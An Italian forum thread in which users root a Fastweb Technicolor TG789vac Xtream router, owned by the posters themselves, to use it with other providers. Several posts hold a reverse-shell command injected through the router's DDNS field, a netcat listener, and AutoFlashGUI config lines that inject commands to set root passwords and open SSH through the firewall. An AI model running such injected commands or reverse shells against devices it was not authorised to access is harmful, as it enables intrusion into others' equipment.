Se avevi la seriale sbloccata (se hai installato la GUI..) puoi provare anche a resettare tramite quella
-
tasto reset in momenti e tempi diversi sperando che prenda il reset o failboot se il secondo bank era pulito.
Se avevi la seriale sbloccata (se hai installato la GUI..) puoi provare anche a resettare tramite quella
Grazie mille.
Ho provato un sacco di volte in momenti diversi, ma nulla. La GUI l'avevo installata, ma non ho abilitato la seriale, almeno non l'ho fatto di proposito. Ma anche se potessi accedere alla seriale ( a parte che non ho capito cosa dovrei ponticellare...) , che potrei fargli oltre a riscaricargli il firmware?
-
La GUI durante l'installazione forza da sola l'abilitazione della seriale, sarebbe stupido non farlo avendone la possibilita'.
Teoricamente non devi ponticellare niente, solo attaccarti.. se riesci ad avere il prompt puoi fargli il reset che non riesci a fare con il tastino
Cerca di postare il bootlog almeno cerchiamo di capire cosa e' successo
-
Buongiorno
mi sono letto tutto il thread. sono riuscito a mettere il firmware di ansuel FASTWEB/TG789vacXtream/16.2.8706_FW_214_MOS_TG789vacXtream.rbi, ma la mia ignoranza non mi consente di accedere al router via ssh. Se ho capito un poco, voi usate linux per entrare e avete inserito le righe di comando per settare i parametri per poter utilizzare questo router anche con altri gestori. Potete gentilmente x un impedito come me fare una guida per connettersi via ssh al router? Avete fatto un lavoro enorme, ma per me incomprensibile.
Grazie mille per la vostra pazienza e l'aiuto
-
giusto per chiarezza quello che hai messo è il firmware UFFICIALE fastweb, e ora devi sbloccarlo (se hai letto tutto il thread immagino hai capito come fare) per poter accedere in ssh https://web.archive.org/web/20200302125939/https://kinsta.com/it/blog/connettersi-al-server-via-ssh/
dopo aver avuto accesso SSH puoi installare la GUI di Ansuel: https://www.ilpuntotecnico.com/forum/index.php/topic,81461.0.html
-
Grazie mille, tutto chiaro
-
giusto per chiarezza quello che hai messo è il firmware UFFICIALE fastweb, e ora devi sbloccarlo (se hai letto tutto il thread immagino hai capito come fare) per poter accedere in ssh https://web.archive.org/web/20200302125939/https://kinsta.com/it/blog/connettersi-al-server-via-ssh/
dopo aver avuto accesso SSH puoi installare la GUI di Ansuel: https://www.ilpuntotecnico.com/forum/index.php/topic,81461.0.html
Ciao, ho scritto tutto chiaro,ma non riesco ad entrare in ssh. Credo di aver sbloccato il router col ddns e la stringa
www.ooo.com; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet IP-PC 1337 >/tmp/f &,
il router mi risponde con la richiesta di user e pass che ho inserito lo stato passa a aggiornamento
poi quando provo ad entrare con putty o winscp con ip del router, porta 22 user e pass mi risponde sempre impossibile connettere.
Potete aiutarmi?
Grazie mille
-
Penso tu abbia lasciato a metà la fase di root. Hai usato AutoFlashGUI come detto qui? https://www.ilpuntotecnico.com/forum/index.php/topic,78382.msg260806.html#msg260806
-
Ho provato con Autoflashgui sia dev che win, ma non c'è il modello del mio router , con conseguente mia confusione, Sbaglio versione di Autoflashgui? Grazie
-
Devi usare i profili generici, in particolare quello suggerito da @larsen64it poco più indietro in questa discussione, esattamente qui: https://www.ilpuntotecnico.com/forum/index.php/topic,78382.msg260806.html#msg260806
Pensavo l'avessi trovato quando hai letto tutto il thread.
-
ho scaricato autoflashgui 9.5 sia dev che win, ma non c'è il mio modello tg789vac extream 35b, quindi per paura di sbagliare non vado avanti.
Nel link https://www.ilpuntotecnico.com/forum/index.php/topic,78382.msg260806.html#msg260806 si vede una autoflashgui diversa da quelle che ho potuto scaricare.
-
Allora lo stai scaricando dal posto sbagliato. Devi scaricarlo dalla repo ufficiale (vai sul pulsante verde "Clone or download" e clicca "Download zip":
https://github.com/mswhirl/autoflashgui
Se mi dici dove hai trovato il link alla vecchia versione faccio in modo di farlo sparire.
-
li ho trovati qui
https://www.ilpuntotecnico.com/forum/index.php/topic,81461.0.html
con il autoflashgui master funziona, ma quando mi chiede il firmware cosa devo mettere?
La gui di ansuel?
-
non c'è alcun link ad autoflashGUI lì
-
scusa, ho sbagliato, il link https://www.hwupgrade.it/forum/showthread.php?t=2873858,
Ma ora mi rendo conto che scemenza ho fatto
-
Non devi mettere nessun firmware, e infatti non devi selezionare l'opzione e "flash firmware"
-
mettendo l'ip del router e admin come user e la password che ho inserito quando ho messo la stringa nel router per sbloccare ddns. mi da questo errore
['C:\\fastgate\\autoflashgui-master\\autoflashgui-master\\autoflashgui.exe'] ['C:\\Users\\avite\\AppData\\Local\\Temp\\_MEI58122\\base_library.zip', 'C:\\Users\\avite\\AppData\\Local\\Temp\\_MEI58122'] C:\fastgate\autoflashgui-master\autoflashgui-master
['C:\\fastgate\\autoflashgui-master\\autoflashgui-master\\autoflashgui.exe'] ['C:\\Users\\avite\\AppData\\Local\\Temp\\_MEI58122\\base_library.zip', 'C:\\Users\\avite\\AppData\\Local\\Temp\\_MEI58122'] C:\fastgate\autoflashgui-master\autoflashgui-master
UI language = en
UI language = en
Reading config...
Line: # NOTE: the default ssh password will be 'root'. It's not a parameter as it would be hard to encode all special characters people might use, so just log in and change it!
Line: # If you don't include all the mandatory defaultXXXXXX keys as shown the program will fail!
Line: defaultHost=10.0.0.138
Line: defaultUsername=admin
Line: defaultPassword=
Line: defaultUpgradeFilename=
Line: defaultStartupVariant=Generic (Basic DDNS)
Line: defaultFlashFirmware=0
Line: defaultFlashSleepDelay=120
Line: defaultConnectRetryDelay=5
Line: defaultInterCommandDelay=5
Line: defaultExpertMode=0
Line: defaultSplitCommand=1
Line: # The following line is not mandatory, but can be used as an alternative to the "-l it" command line language parameter
Line: #defaultLanguage=it
Line: # variant=DGA4130 TIM AGTEF_1.0.3 (passive root),Ping,dyndns.com,sed -i '1croot:x:0:0:root:/root:/bin/ash' /etc/passwd;uci set dropbear.@dropbear[0].RootPasswordAuth='on';uci set dropbear.@dropbear[0].enable='1';uci commit;echo -e "root\nroot"|passwd;/etc/init.d/dropbear restart;sed -i 's/off/on/' /overlay/$(cat /proc/banktable/inactive)/etc/config/dropbear;sed -i 's/0/1/' /overlay/$(cat /proc/banktable/inactive)/etc/config/dropbear;sed -i 's#root:/bin/restricted_shell#root:/bin/ash#' /overlay/$(cat /proc/banktable/inactive)/etc/passwd;sed -i "/option Interface 'lan'/s/.*/&\n\toption RootPasswordAuth 'on'/" /overlay/$(cat /proc/banktable/inactive)/etc/config/dropbear;sed -i "1c $(sed 1q /etc/shadow)" /overlay/$(cat /proc/banktable/inactive)/etc/shadow;switchover
Line: variant=DGA4130 TIM AGTEF_1.0.3,Ping,dyndns.com,sed -i '1croot:x:0:0:root:/root:/bin/ash' /etc/passwd;uci set dropbear.@dropbear[0].RootPasswordAuth='on';uci set dropbear.@dropbear[0].enable='1';uci commit;echo -e "root\nroot"|passwd;/etc/init.d/dropbear restart
Line: # variant=DGA4132 TIM AGTHP_1.0.3 (passive root) (Basic DDNS),BasicDDNS,dyndns.it,sed -i 's#root:/bin/false#root:/bin/ash#' /etc/passwd;uci set dropbear.lan.enable=1;uci set dropbear.lan.RootPasswordAuth=on;uci commit;echo -e "root\nroot"|passwd;/etc/init.d/dropbear restart;sed -i 's/off/on/' /overlay/$(cat /proc/banktable/inactive)/etc/config/dropbear;sed -i 's/0/1/' /overlay/$(cat /proc/banktable/inactive)/etc/config/dropbear;sed -i 's#root:/bin/restricted_shell#root:/bin/ash#' /overlay/$(cat /proc/banktable/inactive)/etc/passwd;sed -i "/option Interface 'lan'/s/.*/&\n\toption RootPasswordAuth 'on'/" /overlay/$(cat /proc/banktable/inactive)/etc/config/dropbear;sed -i "1c $(sed 1q /etc/shadow)" /overlay/$(cat /proc/banktable/inactive)/etc/shadow;switchover
Line: variant=DGA4132 TIM AGTHP_1.0.3 (Advanced DDNS),AdvancedDDNS,dyndns.it,sed -i 's#root:/bin/false#root:/bin/ash#' /etc/passwd;uci set dropbear.lan.enable=1;uci set dropbear.lan.RootPasswordAuth=on;uci commit;echo -e "root\nroot"|passwd;/etc/init.d/dropbear restart
Line: variant=DGA4132 TIM AGTHP_1.0.3 (Basic DDNS),BasicDDNS,dyndns.it,sed -i 's#root:/bin/false#root:/bin/ash#' /etc/passwd;uci set dropbear.lan.enable=1;uci set dropbear.lan.RootPasswordAuth=on;uci commit;echo -e "root\nroot"|passwd;/etc/init.d/dropbear restart
Line: variant=DJA0231 Telstra 18.1.c.0215-950-RA (Basic DDNS),BasicDDNS,dyn.com,sed -i 's#root:/bin/restricted_shell#root:/bin/ash#' /etc/passwd;echo "root:root"|chpasswd;dropbear -p 6666 &
Line: variant=TG789vac v2 iiNet 16.3,Ping,dyndns.com,uci set dropbear.@dropbear[0].PasswordAuth='on';uci set dropbear.@dropbear[0].RootPasswordAuth='on';uci set dropbear.@dropbear[0].enable='1';uci commit;echo -e "root\nroot"|passwd;/etc/init.d/dropbear restart
Line: variant=TG789vac v2 HP MyRepublic 16.3,Ping,dyndns.com,sed -i -e "1croot:x:0:0:root:/root:/bin/ash" -e 's#root:/bin/false#root:/bin/ash#' /etc/passwd;echo "root:root"|chpasswd;sed -i -e "s/'0'/'1'/" -e "s/'off'/'on'/" /etc/config/dropbear;/etc/init.d/cwmpd stop;/etc/init.d/cwmpd disable;/etc/init.d/cwmpdboot disable;killall -9 cwmpd cwmpdboot watchdog-tch dropbear;/etc/init.d/dropbear start
Line: variant=TG789vac v2 Tiscali 16.3,Ping,dyndns.com,sed -i 's#root:/bin/false#root:/bin/ash#' /etc/passwd;uci set dropbear.@dropbear[0].PasswordAuth='on';uci set dropbear.@dropbear[0].Interface='lan';uci set dropbear.@dropbear[0].RootPasswordAuth='on';uci set dropbear.@dropbear[0].enable='1';uci commit;echo -e "root\nroot"|passwd;/etc/init.d/dropbear restart
Line: variant=TG797 Telstra <= 16.3,Ping,dyndns.com,echo "root:root"|chpasswd;sed -i -e "s/'0'/'1'/" -e "s/'off'/'on'/" /etc/config/dropbear;/etc/init.d/cwmpd disable;/etc/init.d/cwmpdboot disable;/etc/init.d/wifi-doctor-agent disable;/etc/init.d/hotspotd disable;killall -9 hotspotd cwmpd cwmpdboot watchdog-tch wifi-doctor-agent dropbear;/etc/init.d/dropbear start
Line: variant=TG799 Telstra <= 16.3,Ping,dyndns.com,echo "root:root"|chpasswd;sed -i -e "s/'0'/'1'/" -e "s/'off'/'on'/" /etc/config/dropbear;/etc/init.d/cwmpd disable;/etc/init.d/cwmpdboot disable;/etc/init.d/wifi-doctor-agent disable;/etc/init.d/hotspotd disable;killall -9 hotspotd cwmpd cwmpdboot watchdog-tch wifi-doctor-agent dropbear;/etc/init.d/dropbear start
Line: variant=TG799 Telstra 17.2.0261 (Basic DDNS),BasicDDNS,dyn.com,sed -i 's#root:/bin/restricted_shell#root:/bin/ash#' /etc/passwd;echo "root:root"|chpasswd;dropbear -p 6666 &
Line: variant=Generic (Basic DDNS),BasicDDNS,dyn.com,sed -i 's#/root:.*$#/root:/bin/ash#' /etc/passwd;echo root:root | chpasswd;sed -i.save 's/#//' /etc/inittab;uci add dropbear dropbear;uci rename dropbear.@dropbear[-1]=afg;uci set dropbear.afg.enable='1';uci set dropbear.afg.Interface='lan';uci set dropbear.afg.Port='22';uci set dropbear.afg.IdleTimeout='600';uci set dropbear.afg.PasswordAuth='on';uci set dropbear.afg.RootPasswordAuth='on';uci set dropbear.afg.RootLogin='1';uci commit dropbear;/etc/init.d/dropbear enable;/etc/init.d/dropbear restart;uci set $(uci show|grep -m 1 `fw3 -q print|egrep 'es -t filter -A zone_lan_input -p tcp -m tcp --dport 22 -m comment --comment "!fw3: .+" -j DROP'|sed -n's/^iptables.\+fw3: \(.\+\)".\+/\1/p'`|sed -n"s/\(.\+\).name='.\+'$/\1/p").target=ACCEPT;uci commit;/etc/init.d/firewall reload
Line: variant=Generic (Advanced DDNS),AdvancedDDNS,dyndns.it,sed -i 's#/root:.*$#/root:/bin/ash#' /etc/passwd;echo root:root | chpasswd;sed -i.save 's/#//' /etc/inittab;uci add dropbear dropbear;uci rename dropbear.@dropbear[-1]=afg;uci set dropbear.afg.enable='1';uci set dropbear.afg.Interface='lan';uci set dropbear.afg.Port='22';uci set dropbear.afg.IdleTimeout='600';uci set dropbear.afg.PasswordAuth='on';uci set dropbear.afg.RootPasswordAuth='on';uci set dropbear.afg.RootLogin='1';uci commit dropbear;/etc/init.d/dropbear enable;/etc/init.d/dropbear restart;uci set $(uci show|grep -m 1 `fw3 -q print|egrep 'es -t filter -A zone_lan_input -p tcp -m tcp --dport 22 -m comment --comment "!fw3: .+" -j DROP'|sed -n's/^iptables.\+fw3: \(.\+\)".\+/\1/p'`|sed -n"s/\(.\+\).name='.\+'$/\1/p").target=ACCEPT;uci commit;/etc/init.d/firewall reload
Line: variant=Generic (Ping),Ping,dyndns.com,sed -i 's#/root:.*$#/root:/bin/ash#' /etc/passwd;echo root:root | chpasswd;sed -i.save 's/#//' /etc/inittab;uci add dropbear dropbear;uci rename dropbear.@dropbear[-1]=afg;uci set dropbear.afg.enable='1';uci set dropbear.afg.Interface='lan';uci set dropbear.afg.Port='22';uci set dropbear.afg.IdleTimeout='600';uci set dropbear.afg.PasswordAuth='on';uci set dropbear.afg.RootPasswordAuth='on';uci set dropbear.afg.RootLogin='1';uci commit dropbear;/etc/init.d/dropbear enable;/etc/init.d/dropbear restart;uci set $(uci show|grep -m 1 `fw3 -q print|egrep 'es -t filter -A zone_lan_input -p tcp -m tcp --dport 22 -m comment --comment "!fw3: .+" -j DROP'|sed -n's/^iptables.\+fw3: \(.\+\)".\+/\1/p'`|sed -n"s/\(.\+\).name='.\+'$/\1/p").target=ACCEPT;uci commit;/etc/init.d/firewall reload
Connect attempt 1
<Response [200]>
Modem up
Authenticating
Authentication failed, debug values are: ['Got CSRF token: ce27a21b235483953364924716c9612bf7862f9070d855057490d7cb5243e6ef', "A value b'1dcf9605720b146239fd93987259ccd9ca0d6014160d8d01beeffcca5e471ea5bc2283147a1a7dcd1ed1ee6e1388d19159e5f6a67e5080841eb71eeacbd41dd25f9e934237a459633daacfbcfea8d3844da9a8f25484e750c03494a323412811b43fbb96c5fc33ed121049deb155ab37dd2b04a595ad6b2459fb310e7295cb54fb4f0e3768f78e57214bda8ad1cb6db07ab7e9f8c178e2e6a1517204a255c9f37705d9578b823edf1c42c4cfb307597c29b7de4837f9350dffe49d9cdebfe45061c48aed75340a430b7a0de6283df3e1c3c28ce7193657a02b1ca1de0fb226899274224b4ed98e6b24dc9530783d5ca10cc461bee4fd76bef39a89c627f2d31c'", 'br.response <Response [200]>', "Challenge received: {'error': 'failed'}"]
Exception in Tkinter callback
Traceback (most recent call last):
File "libautoflashgui.py", line 37, in srp6authenticate
M = usr.process_challenge(binascii.unhexlify(j['s']), binascii.unhexlify(j['B']))
KeyError: 's'
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "tkinter\__init__.py", line 1705, in __call__
File "autoflashgui.py", line 211, in run
self.status.config(text=_('Firmware flashing enabled but firmware file name does not exist!'))
File "libautoflashgui.py", line 132, in mainScript
srp6authenticate(br, host, username, password)
File "libautoflashgui.py", line 55, in srp6authenticate
print(_("Exception: ") + str(sys.exc_info()[0]))
NameError: name 'sys' is not defined
-
'Firmware flashing enabled but firmware file name does not exist!'
sicuro che di non aver messo la flag di flash?
-
Scusa ma che cosa non è chiaro da questa foto:
https://www.ilpuntotecnico.com/forum/index.php/topic,78382.msg260806.html#msg260806
Una volta che uno ha caricato il fw 214 non bisogna toccare nulla.
Si avvia AFG, si seleziona Generic (Advanced DDNS), ip 192.168.1.254, nome utente Administrator, password si lascia vuota, si spunta So che cosa sto facendo...., modo di esecuzione Advanced DDNS, in servizio servizio DDNS si inserisce dyndns.org e si da esegui.
-
ho seguito esattamente i passi che mi avete scritto e questo è il risultato
Authentication failed, debug values are: ['Got CSRF token: 68af38fad7e7f9e6dd0245c2acb2f0127d7cf3c3f3e38408d9aad8e9e615ef30', "A value b'7c6ecb245af399d0019fa79d988099c9897f4365bee1c5a822768494342bb8547c38213018e7e7c3c468024db3e907c596e92a2f878e3d17b646522ec030ac0181096c604210a64ecb059071ab90ed917236b11f500e777d591230084582905a534b64244c7f22f9ecba5063253abdb3deb5c18538a4fa064f88e046d5c1084cca810d696cf068ef017788c1c3006ed83e821d5ccdf2e4839b5fe72ed43f47f73abc7dce863da3b72cc60c808e9bae7ab572779f55ccf40c93fca658a317b34e4bf1913b8908fb97d91e2ce61b21c6a81c70dfee5b60baad5a0cc0d7b59712b4e399d2adca9280d243a58ad6f5caaf9ed06025d924c4e1870464a4e071f4ed96'", 'br.response <Response [200]>', "Challenge received: {'error': 'failed'}"]
Exception in Tkinter callback
Traceback (most recent call last):
File "libautoflashgui.py", line 37, in srp6authenticate
M = usr.process_challenge(binascii.unhexlify(j['s']), binascii.unhexlify(j['B']))
KeyError: 's'
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "tkinter\__init__.py", line 1705, in __call__
File "autoflashgui.py", line 211, in run
self.status.config(text=_('Firmware flashing enabled but firmware file name does not exist!'))
File "libautoflashgui.py", line 132, in mainScript
srp6authenticate(br, host, username, password)
File "libautoflashgui.py", line 55, in srp6authenticate
print(_("Exception: ") + str(sys.exc_info()[0]))
NameError: name 'sys' is not defined
-
riprova a fare tutto dopo aver resettato il device, tieni inoltre presente che @larsen64it aveva testato questa cosa sul fastgate con firmware IAD, tu hai messo l'MOS che non so come funzioni su questo dispositivo in particolare ma di solito uno ha account administrator e l'altro usa account limitati fastweb. O scopri come si chiama quello giusto per questo device o carichi il firmware IAD come gli altri.
-
Altra cosa che forse qui nessuno ha fatto penso sia usare il .exe ... siam sicuri che è abbastanza aggiornato?
Altrimenti devi provare a usare direttamente il .py installando python e dipendenze su windows..
-
Ho spento e riacceso il pc, ho riprovato a usare autoflashgui e questa volta
<Response [503]>
Connect attempt 57197
<Response [200]>
Modem up
Authenticating
Authentication failed, debug values are: ['Got CSRF token: 093cc8b232197ac9085bdace81c4e84095f31279fd4ed4911dc9ee4537496a0f', "A value b'3a1cac6838ab0a62d821554cdd37aaf9e2e4a8658ce826eac8368121ac3d6c0e11dfd734109b3cea00a4f520ae1b87ca321c791882133abffb0f9d4659e5985aad7c1ea6c94e08970f63feac325f9e9b87c05c43d76d3faf1bdb245b3cf905b38919af33547b864e4601f587b6a5267cacd2ea98eab7e8c2269c6327101702588802c5c97732c85360ee35dc659d121e36e59151af49c6bee65c5e8b03f3c853a807cfef0df0849531fd4b93ad789b3f150336c776b7497c7b6e4e08140b4860351462e596cb81e09980919163a02259c0fddf65730c7d70307679340851e526b2750f8346ade243fdcf781425593d36ff09300d15cb1a398c6ac9633400f5d6'", 'br.response <Response [200]>', "Challenge received: {'error': 'failed'}"]
Exception in Tkinter callback
Traceback (most recent call last):
File "libautoflashgui.py", line 37, in srp6authenticate
M = usr.process_challenge(binascii.unhexlify(j['s']), binascii.unhexlify(j['B']))
KeyError: 's'
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "tkinter\__init__.py", line 1705, in __call__
File "autoflashgui.py", line 211, in run
self.status.config(text=_('Firmware flashing enabled but firmware file name does not exist!'))
File "libautoflashgui.py", line 132, in mainScript
srp6authenticate(br, host, username, password)
File "libautoflashgui.py", line 55, in srp6authenticate
print(_("Exception: ") + str(sys.exc_info()[0]))
NameError: name 'sys' is not definedadesso rimetto iad e poi riprovo
-
ma il login per quello non è username fastweb e password vuota?
-
ho rimesso fw 214 iad, poi ho resettato, ho rifatto la procedura nei servizi wan del router, ho messo nel dominio www.ooo.com; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet 192.168.1.254 1337 >/tmp/f & , messo admin user e admin passw.
Poi ho fatto partire netcat con la stringa nc -lvvp 1337. H fatto partire autoflashgui ma adesso ho un dubbio, devo mettere in nome utente Administrator o admin. e inserire anche la passw admin.
Grazie
-
ma perchè hai fatto la storia nei servizi wan? il compito di AFG è proprio automatizzare quella parte..
in AFG devi mettere le credenziali che ti permettono di accedere all'interfaccia del modem https://www.fastweb.it/myfastweb/assistenza/guide/technicolor-tg789vac-xtream-35b/
in pratica o fastweb o Administrator, admin non esiste.
-
Ho sostituito Administrator co fastweb e questa è la risposta
Modem up
Authenticating
Sending command: sed -i 's#/root:.*$#/root:/bin/ash#' /etc/passwd;echo root:root | chpasswd;sed -i.save 's/#//' /etc/inittab;uci add dropbear dropbear;uci rename dropbear.@dropbear[-1]=afg;uci set dropbear.afg.enable='1';uci set dropbear.afg.Interface='lan';uci set dropbear.afg.Port='22';uci set dropbear.afg.IdleTimeout='600';uci set dropbear.afg.PasswordAuth='on';uci set dropbear.afg.RootPasswordAuth='on';uci set dropbear.afg.RootLogin='1';uci commit dropbear;/etc/init.d/dropbear enable;/etc/init.d/dropbear restart;uci set $(uci show|grep -m 1 `fw3 -q print|egrep 'es -t filter -A zone_lan_input -p tcp -m tcp --dport 22 -m comment --comment "!fw3: .+" -j DROP'|sed -n's/^iptables.\+fw3: \(.\+\)".\+/\1/p'`|sed -n"s/\(.\+\).name='.\+'$/\1/p").target=ACCEPT;uci commit;/etc/init.d/firewall reload
Please try a ssh connection now to 192.168.1.254 with username root and password root (change password immediately with passwd!) Rebooting your modem now is recommended to stop any services that have been disabled
-
bhe direi ha funzionato.. puoi accedere in SSH.
-
Eppure l'avevo messo in grassetto che bisognava inserire Administrator o fastweb..... vabbuò l'ho inserito adesso:
https://www.ilpuntotecnico.com/forum/index.php/topic,78382.msg260806.html#msg260806
-
sono entrato in ssh ed ho installato la gui di ansuel.
Sul modem tutte le luci sono verdi, nell'interfaccia mi da connesso, ma non ho internet.. Ho messo le impostazioni per infostrada come letto sul forum
Cosa posso fare?
Grazie
-
@Mariorosa Sei OT, una volta installata la custom GUI per problemi ad essa inerenti (configurazioni non funzionanti fatte attraverso di essa comprese) devi chiedere nel relativo thread.
-
Ok grazie
-
Salve a tutti,
Possiedo il modem in oggetto, marca fastweb, vorrei poterlo utilizzare con altri operatori.
Ho letto vari post su questo sito, ma essendo nuova dell'argomento, ci ho capito molto poco.
Ho provato a installare il firmware Uno ( che da quello che ho capito non è manco compatibile con questa versione firmware) tramite il programma Tfttp ma sebbene la procedura sia completa, quando vado sul 192.168.1.254 mi appare sempre il firmware fastweb.
Qualcuno potrebbe spiegarmi in modo accessibile ad una neofita qual'è il metodo più semplice e veloce per raggiungere il mio scopo?
-
Controlla bene il modello che hai
tg789vac xtream 35b (esistono solo firmware fastweb)
tg789vacV2 (con firmware uno e altri, consigliato uno)
Se come dici con Tfttp uno si è caricato vuol dire che è il secondo, e non è l'oggetto di questo topic.
Rileggi da qui https://www.ilpuntotecnico.com/forum/index.php/topic,77981.msg254354.html#msg254354
riguarda tutte le versioni del tg789vacV2 (tiscali, tim, fastweb iad e mos)
-
queste le info dalla pagina di amministratore:
Informazioni globali
Fornitore del prodotto
Technicolor
Nome prodotto
Technicolor TG789vac Xtream_MOS
Versione Software
16.2
Versione Firmware
16.2.7825-3401002-20170627172939_FW_212_MOS_TG789vacXtream
Versione Bootloader
15.50.1005-0000000-20151209073757-4fd17452ef9fdf09e9f981340e5d6b3f85fe6c5a
Versione Hardware
VBNT-F
Numero di serie
CP1634RA9GU
La procedura di firmware tramite tfttp raggiunge il 100% senza errori, ma la pagina del gateway è sempre quella di fastweb
grazie cmq :)
-
Sicuramente non hai caricato il firmware UNO in quanto non è compatibile con questo modello. Quindi lascia perdere tfttp.
Per lo sblocco si usa AFG
https://www.ilpuntotecnico.com/forum/index.php/topic,78382.msg260806.html#msg260806
Per installare la gui mod
https://www.ilpuntotecnico.com/forum/index.php/topic,81461.0.html usa la stabile in quanto la dev non funziona.
Poi ti consiglio di aggiornare il firmware in quanto vecchio e potenzialmente incompatibile con la gui mod.
https://repository.ilpuntotecnico.com/files/Ansuel/FASTWEB/TG789vacXtream/16.2.8706_FW_214_MOS_TG789vacXtream.rbi
-
E' un po' arabo per me, ma ce la metto tutta , in caso, riposto qui...grazie :-*
-
Rieccomi, sono riuscita ad avere l'accesso in SsH con putty e ho rootato il modem, dopo aver anche aggiornato preventivamente il firm.
Ho scaricato la GUI,ma non capisco come posso trasferire l'archivio nella cartella /tmp per poi dare il comando di installazione.
Mi aiutate?
Ovviamente installando la GUI con il root posso utilizzare il modem con altri gestori?
grazie
-
con winscp, e' scritto nel thread della GUI: https://www.ilpuntotecnico.com/forum/index.php/topic,81461.0.html spostati li
-
perfetto, sono riuscito ad installare la GUI, adesso sono dentro al Gateway.
Continuo a non riuscire ancora a connettermi con la mia linea FTTC infostrada...la prima spia sul modem è rossa fissa, la terza invece è rossa lampeggiante.
Dove sbaglio?
-
Ipotizzo non hai messo il VLAN ID in banda larga.
-
non so,ho proceduto alla connessione guidata inserendo i parametri di windtre.
Mi puoi spiegare come fare?
EDIT: c l'ho fatta ! Grazie di cuore a tutti ! sono emozionata :clap: :clap: :clap:
-
Buongiorno a tutti,
Come detto la connessione funziona,ma ho riscontrato un bug piuttosto fastidioso.
Ogni qual volta provo a riavviare il modem, si perde la connessione,così devo rientrare nel gateway e ri abilitare la VLAN .
Mi sembra di aver letto che anche un altro utente ha avuto il medesimo problema, ma non ho capito come risolverlo...esiste qualche fix da inserire?
o ci sono altre versioni della GUI che non presentano questo problema?la mia è la 9.5.38
Grazie e buon lunedì
-
Puoi provare con la dev ma max versione .59 non oltre.
-
Non penso cambi qualcosa, è un problema che non è stato mai approfindito, se ricordo bene qualcuno aveva risolto con metodi un po ortodossi (script che runnava ad ogni avvio e rimetteva la configurazione giusta in /etc/config/network)
servirebbe capire chi è che rimette la config sbagliata, solitamente è il wansensing, che ipotizzo su questo firmware non si sta disattivando come dovrebbe fare quando si toglie la flag dalla pagina banda larga della GUI
quindi l'unica cosa che cambia post riavvio è il VLAN ID? la config riguardo il PPPoE rimae quella giusta? servirebbe una differenza sul file /etc/config/network pre e post riavvio e magari capire anche se sballa qualcosa in piu' quando si usa ADSL
-
si, salta il VLAN, rimettendolo dopo pochi istanti torna online
vorrei poter capire cosa cambia in /network prima e dopo ma con admin / admin mi da accesso negato :headbang:
EDIT: adesso ho riprovato a riavviare, non si collega ma il VLAN è ancora attivo...in notazione devo mettere Dot e torna online...boh
-
root root sono le credenziali di default di scp/ssh
-
/network con internet funzionante:
config interface 'loopback'
option ifname 'lo'
option proto 'static'
option ipaddr '127.0.0.1'
option netmask '255.0.0.0'
config globals 'globals'
option default_ps '0'
config interface 'lan'
option type 'bridge'
option proto 'static'
option netmask '255.255.255.0'
option ipaddr '192.168.1.254'
option ip6assign '64'
option force_link '0'
option ipv6 '1'
list ifname 'eth0'
list ifname 'eth1'
list ifname 'eth2'
list ifname 'eth3'
list ifname 'eth5'
list pppoerelay 'ptm0.835'
list pppoerelay ''
config switch 'bcmsw'
option reset '1'
option enable_vlan '0'
option qosimppauseenable '0'
option jumbo '0'
config interface 'wan'
option vendorid 'Technicolor_TG789vacXtream_MOS/dslforum.org'
option authfail '0'
option iface6rd '6rd'
option zone6rd 'wan'
option mtu '1500'
option initboot '1'
option notused 'E0:B9:E5:A0:CE:27'
option ipv6 '1'
option username 'benvenuto'
option proto 'pppoe'
option metric '0'
option password 'ospite'
option peerdns '1'
option ifname 'ptm0'
option auto '1'
config device 'vlan_ptm0'
option type '8021q'
option ifname 'ptm0'
option mtu '1500'
option name 'vlan_ptm0'
option vid '100'
config interface 'wantag'
option proto 'dhcp'
option reqopts '1 3 6 15 33 42 51 121 249 212'
option vendorid 'Technicolor_TG789vacXtream_MOS/dslforum.org'
option authfail '0'
option iface6rd '6rd'
option zone6rd 'wan'
option mtu '1500'
option initboot '1'
option ipv6 '0'
option notused 'E0:B9:E5:A0:CE:27'
option ifname 'vlan_ptm0'
option auto '1'
config interface 'wwan'
option auto '1'
config config 'config'
option wan_mode 'pppoe'
config interface 'ipoe'
option proto 'dhcp'
option metric '1'
option reqopts '1 3 6 43 51 58 59'
option release '1'
option neighreachabletime '1200000'
option neighgcstaletime '2400'
option ipv6 '1'
config device 'waneth4'
option enabled '1'
option type '8021q'
option name 'waneth4'
option vid '835'
option ipv6 '1'
config device 'wanptm0'
option enabled '1'
option type '8021q'
option name 'wanptm0'
option vid '835'
option ipv6 '1'
option ifname 'ptm0'
/network dopo il riavvio con internet non funzionante:
config interface 'loopback'
option ifname 'lo'
option proto 'static'
option ipaddr '127.0.0.1'
option netmask '255.0.0.0'
config globals 'globals'
option default_ps '0'
config interface 'lan'
option type 'bridge'
option proto 'static'
option netmask '255.255.255.0'
option ipaddr '192.168.1.254'
option ip6assign '64'
option force_link '0'
option ipv6 '1'
list ifname 'eth0'
list ifname 'eth1'
list ifname 'eth2'
list ifname 'eth3'
list ifname 'eth5'
list pppoerelay 'ptm0.835'
list pppoerelay ''
config switch 'bcmsw'
option reset '1'
option enable_vlan '0'
option qosimppauseenable '0'
option jumbo '0'
config interface 'wan'
option vendorid 'Technicolor_TG789vacXtream_MOS/dslforum.org'
option authfail '0'
option iface6rd '6rd'
option zone6rd 'wan'
option mtu '1500'
option initboot '1'
option notused 'E0:B9:E5:A0:CE:27'
option ipv6 '1'
option username 'benvenuto'
option proto 'pppoe'
option metric '0'
option password 'ospite'
option peerdns '1'
option ifname 'ptm0'
option auto '1'
config device 'vlan_ptm0'
option type '8021q'
option ifname 'ptm0'
option mtu '1500'
option name 'vlan_ptm0'
option vid '100'
config interface 'wantag'
option proto 'dhcp'
option reqopts '1 3 6 15 33 42 51 121 249 212'
option vendorid 'Technicolor_TG789vacXtream_MOS/dslforum.org'
option authfail '0'
option iface6rd '6rd'
option zone6rd 'wan'
option mtu '1500'
option initboot '1'
option ipv6 '0'
option notused 'E0:B9:E5:A0:CE:27'
option ifname 'vlan_ptm0'
option auto '1'
config interface 'wwan'
option auto '1'
config config 'config'
option wan_mode 'pppoe'
config interface 'ipoe'
option proto 'dhcp'
option metric '1'
option reqopts '1 3 6 43 51 58 59'
